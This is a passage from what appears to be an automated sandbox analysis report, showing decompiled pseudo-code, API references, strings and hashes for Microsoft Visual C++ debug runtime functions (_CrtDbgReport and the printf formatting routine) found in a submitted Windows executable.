					E00426100(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BD60(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x00429907
0x00429921
0x0042992f
0x00429923
0x00429923
0x00429923
0x0042993f
0x00429946
0x0042994d
0x00429954
0x0042995b
0x00429962
0x00429969
0x00429970
0x00429977
0x0042997e
0x00429985
0x00429989
0x0042998a
0x004299a4
0x004299ab
0x004299b0
0x004299b3
0x004299ba
0x004299db
0x004299de
0x004299e3
0x004299e3
0x004299e6
0x004299eb
0x004299f1
0x004299f7
0x00429a19
0x00429a29
0x00429a2e
0x00429a2e
0x00429a4a
0x00429a57
0x00429a5b
0x00429a65
0x00429a65
0x00429a71
0x00429a7a
0x00429a73
0x00429a73
0x00429a73
0x00429a89

APIs

__snwprintf_s.LIBCMTD ref: 004299AB
__invoke_watson_if_oneof.LIBCMTD ref: 004299DE
_wcscpy_s.LIBCMTD ref: 00429A20
__invoke_watson_if_error.LIBCMTD ref: 00429A29
___crtMessageBoxW.LIBCMTD ref: 00429A42
_raise.LIBCMTD ref: 00429A5B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 004299C3, 00429A00
Microsoft Visual C++ Debug Library, xrefs: 00429A36
__crtMessageWindowA, xrefs: 004299C8, 00429A05
Module: , xrefs: 00429923
_CrtDbgReport: String too long or IO Error, xrefs: 00429A0F
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00429995
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00429A0A
..., xrefs: 00429907, 0042997E
(*_errno()), xrefs: 004299CD

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction ID: 60e166d342e9d3aa5ec3a11dbca293045b9ab9dc55d410a2cd8d5ef55d04055c
Opcode Fuzzy Hash: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction Fuzzy Hash: C03155B5B40228ABCB24DA55DC46FDAB374AB4C744F4040EEF609B72C5D6B85EC08F59

Uniqueness

Uniqueness Score: -1.00%

Function 00434BD5, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434BD5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E00428400(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E004357C0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00435800( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E004357C0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E00435800( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E004342D0(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E00435800( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E004357C0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C5E0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00435610))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E004312C0( *(_t623 - 0x251) & 0x000000ff, E0041AEF0(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00435720( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00435720( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E420();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422F10(_t571))) = 0x16;
													E00422CA0(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041AEC0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x435648; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435630))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x435670; // 0x4e7e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043565C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x4356dc; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004356A0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B960(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEF0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xd5b65caa
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xd44284aa
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEF0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xd44114aa
																	E00424760(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428400(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428440(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004342D0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E00428400(__ebp + 0x14);
													__eax = E00433FB0();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E420();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
														__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AEC0(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
